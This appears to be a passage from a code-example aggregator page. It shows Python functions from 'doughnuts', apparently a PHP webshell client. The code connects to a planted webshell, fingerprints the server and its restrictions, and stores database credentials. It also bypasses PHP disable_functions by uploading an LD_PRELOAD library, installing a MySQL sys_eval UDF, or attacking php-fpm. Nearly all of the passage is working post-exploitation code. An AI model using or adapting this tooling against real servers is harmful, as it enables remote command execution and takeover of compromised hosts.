            if (set_mode(test_mode, True)):
                res = send(
                    get_system_code("echo 6ac2ed344113c07c0028327388553273",
                                    mode=test_mode))
                if (res and "6ac2ed344113c07c0028327388553273" in res.r_text):
                    print(color.green("\n    Success\n"))
                    print(
                        f"Set bypass disable_functions: {test_mode}-{mode_to_desc_dict[test_mode]}\n"
                    )
                    gset("webshell.bypass_df", test_mode, True, "webshell")
                    break
                else:
                    print(color.red("\n    Failed!\n"))
                    continue
    else:
        try:
            mode = int(mode)
        except ValueError:
            print(color.red("\nMode error.\n"))
            return
        if (mode == 0):
            print(
                f"\nbypass disable_functions: {mode_to_desc_dict[gget('webshell.bypass_df', 'webshell')]}\n"
            )
        elif (mode in mode_to_desc_dict
              and (mode not in mode_linux_set or not is_windows())):
            set_mode(mode)
            pass
        else:
            print(color.red("\nMode error.\n"))
Example #28
0
def run(url: str, method: str = "GET", pwd: str = "pass", *encode_functions):
    """
    connect

    Connect a webshell of php.

    eg: connect {url} {method} {pass} {encoders...}
    """
    method = str(method).upper()
    params_dict = {}
    if method == "GET":
        raw_key = "params"
    elif method == "POST":
        raw_key = "data"
    elif method == "COOKIE":
        raw_key = "cookies"
    elif method == "HEADER":
        raw_key = "headers"
    else:
        print(color.red("Method error"))
        return
    encode_functions = [str(f) for f in encode_functions]
    params_dict[raw_key] = {}
    webshell_netloc = urlparse(url).netloc
    gset("url", url, namespace="webshell")
    gset("webshell.params_dict", params_dict, namespace="webshell")
    gset("webshell.password", str(pwd), namespace="webshell")
    gset("webshell.method", raw_key, namespace="webshell")
    gset("webshell.encode_functions", encode_functions, namespace="webshell")
    gset("webshell.netloc", webshell_netloc, namespace="webshell")
    gset(
        "webshell.download_path",
        path.join(gget("root_path"), "target", webshell_netloc.replace(":", "_")),
        namespace="webshell",
    )
    gset("webshell.pwd", ".", namespace="webshell")
    gset("webshell.bypass_df", -1, namespace="webshell")
    res = send('print("c4ca4238a0b923820d|".phpversion()."|cc509a6f75849b");', raw=True)
    if (not res or "c4ca4238a0b923820d" not in res.r_text):
        print(color.red("Connect failed..."))
        if (res):
            print(res.r_text)
        return False
    if ('7.' in res.r_text):
        gset("webshell.v7", True, namespace="webshell")
    if "c4ca4238a0b923820d" in res.r_text:  # 验证是否成功连接
        gset("webshell.php_version", res.r_text.split("c4ca4238a0b923820d|")[1].split("|cc509a6f75849b")[0], namespace="webshell")
        info_req = send(
            "print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.ini_get('upload_tmp_dir').'|'.ini_get('disable_functions').'|'.ini_get('open_basedir'));"
        )
        info = info_req.r_text.strip().split("|")
        exec_func = send(get_detectd_exec_php()).r_text.strip()
        prepare_system_template(exec_func)
        gset("webshell.root", info[0], namespace="webshell")
        gset("webshell.os_version", info[1], namespace="webshell")
        gset(
            "webshell.iswin",
            (True if "win" in info[1].lower() else False),
            namespace="webshell",
        )
        gset("webshell.server_version", info[2], namespace="webshell")
        gset("webshell.pwd", info[3], namespace="webshell")
        gset("webshell.prompt", f"doughnuts ({color.cyan(webshell_netloc)}) > ")
        gset("webshell.exec_func", exec_func, namespace="webshell")
        upload_tmp_dir = info[4]
        if (not upload_tmp_dir):
            if (not is_windows()):
                upload_tmp_dir = "/tmp/"
        else:
            if (is_windows()):
                upload_tmp_dir += "\\\\"
            else:
                upload_tmp_dir += "/"
        gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell")
        disable_function_list = [f.strip() for f in info[5].split(",")]
        if ('' in disable_function_list):
            disable_function_list.remove('')
        gset("webshell.obd", info[6], namespace="webshell")
        gset("webshell.disable_functions", disable_function_list, namespace="webshell")
        from_log = gget("webshell.from_log", "webshell")
        if not from_log:
            with open("webshell.log", "a+") as f:
                f.write(f"{url}|{method}|{pwd}|{'|'.join(encode_functions)}\n")
        else:
            gset("webshell.from_log", False, True, "webshell")
        print(color.cyan("Connect success...\n"))
        print_webshell_info()
        set_namespace("webshell", callback=False)
        if (exec_func == ''):
            print(color.red("No system execute function!\n"))
        return True
Example #29
0
def set_mode(mode: int, test: bool = False):
    if (mode in mode_require_ext_dict):
        ext = mode_require_ext_dict[mode]
        res = send(get_detectd_ext(ext))
        if (not res):
            return False
        text = res.r_text.strip()
        if ("exist" not in text):
            print(color.red(f"\nNo {ext} extension\n"))
            return False
    if (mode == 4 and not gget("webshell.ld_preload_path", "webshell",
                               False)):  # ld_preload
        disable_func_list = gget("webshell.disable_functions", "webshell")
        if (not gget("webshell.ld_preload_path", "webshell", None)):
            filename = "/tmp/%s.so" % str(uuid4())
            ld_preload_func = send(get_detectd_ld_preload()).r_text.strip()
            upload_result = upload(
                path.join(gget("root_path"), "auxiliary", "ld_preload",
                          "ld_preload_x86_64.so"), filename, True)
            if (not upload_result):
                return
            gset("webshell.ld_preload_path", filename, True, "webshell")
            gset("webshell.ld_preload_func", ld_preload_func, True, "webshell")
            if ("putenv" in disable_func_list):
                print(color.red("\nputenv is disabled\n"))
                return False
            if (not ld_preload_func):
                print(color.red("\nNo ld_preload function!\n"))
                return False
    elif (mode == 8):  # udf
        if (gget("db_connected", "webshell")
                and gget("db_dbms", "webshell") == "mysql"):
            print(color.yellow(f"\nDetect plugin dir..."))
            plugin_dir_res = execute_sql_command(
                "show variables like '%plugin_dir%';", raw=True)
            if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1):
                plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\")
            else:
                print(color.red(f"\nCould not find plugin_dir"))
                return False
            print(color.yellow(f"\nMake plugin dir..."))
            phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % (
                plugin_dir, plugin_dir)
            res = send(phpcode)
            if (not res or "fail" in res.r_text):
                print(color.red(f"\nMake plugin dir failed!\n"))
                return False
            system = "windows" if (gget("webshell.iswin",
                                        "webshell")) else "linux"
            print("\nReference Information:",
                  gget("webshell.os_version", "webshell"))
            print("\nInput target system bits (32/64/exit): ", end="")
            bits = "64"
            _ = readline().strip()
            if (_ == "32"):
                bits = 32
            elif (_ in ["back", "exit", "quit"] or _ != "64"):
                return False
            udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so"
            udf_path = plugin_dir + "tmp" + udf_ext
            print(color.yellow(f"\nUpload {udf_ext[1:]}..."))
            upload_result = upload(
                path.join(gget("root_path"), "auxiliary", "udf", "mysql",
                          system, bits, "lib_mysqludf_sys" + udf_ext),
                udf_path, True)
            if (not upload_result):
                print(color.red("\nUpload failed\n"))
                return
            gset("webshell.udf_path", udf_path, True, "webshell")
            print(color.yellow(f"\nCreate function sys_eval..."))
            execute_sql_command(
                f"create function sys_eval returns string soname 'tmp{udf_ext}'",
                raw=True)
            test_res = execute_sql_command("select sys_eval('whoami');",
                                           raw=True)
            if (len(test_res) > 1 and len(test_res[1][0])):
                print(color.green(f"\nCreate funtion success"))
            else:
                print(color.red(f"\nCreate funtion failed\n"))
                return False
        else:
            print(
                color.red(
                    f"\nNo connection to database or dbms isn't mysql\n"))
            return False
    elif (mode == 10):  # php-fpm
        res = send("print(php_sapi_name());")
        if (not res or "fpm" not in res.r_text):
            print(color.red(f"\nTarget php not run by php-fpm!\n"))
            return False
        requirements_dict = {
            'host': '127.0.0.1',
            'port': 9000,
            "php_file": "/usr/local/lib/php/PEAR.php"
        }
        for k, v in requirements_dict.items():
            new_v = input(f"{k}[{v}]:")
            if k == 'port':
                new_v = new_v if new_v else v
                try:
                    new_v = int(new_v)
                except ValueError:
                    print(color.red(f"\nPort must be number!\n"))
                    return False
            if new_v:
                requirements_dict[k] = new_v
        attack_type = input("attack_type[gopher/sock]:").lower()
        if (attack_type not in ["gopher", "sock"]):
            return False
        if (attack_type == "sock"):
            sock_path = "/var/run/php7-fpm.sock"
            new_v = input(f"sock_path[{sock_path}]:")
            if new_v:
                sock_path = new_v
            gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell")
        gset("webshell.bdf_fpm.host", requirements_dict["host"], True,
             "webshell")
        gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True,
             "webshell")
        gset("webshell.bdf_fpm.php_file", requirements_dict["php_file"], True,
             "webshell")
        gset("webshell.bdf_fpm.type", attack_type, True, "webshell")
    if (not test):
        if (mode == 7):
            print(
                color.yellow(
                    f"\nYou may need to wait 1 second to get the result..\n"))
        print(
            f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n"
        )
        gset("webshell.bypass_df", mode, True, "webshell")
    return True
Example #30
0
def run(host: str,
        username: str,
        password: str,
        dbname: str = "",
        port: int = 0):
    """
    db_init

    Initialize the database connection.
    """
    res = send(get_php(host, username, password, dbname, port))
    if (not res):
        return
    if ("Connect error" in res.r_text):
        print("\n" + color.red(res.r_text.strip()) + "\n")
    else:
        print("\n" + color.green("Connect success"))
        gset("db_connected", True, True, "webshell")
        gset("db_host", host, True, "webshell")
        gset("db_username", username, True, "webshell")
        gset("db_password", password, True, "webshell")
        gset("db_dbname", dbname, True, "webshell")
        gset("db_port", port, True, "webshell")
        info = res.r_text.strip()
        if (info):
            info_list = info.split("\n")
            try:
                gset("db_current_user", info_list[0], True, "webshell")
                gset("db_version", info_list[1], True, "webshell")
                print_db_info()
            except IndexError:
                print("\n" + color.red("Select data error") + "\n")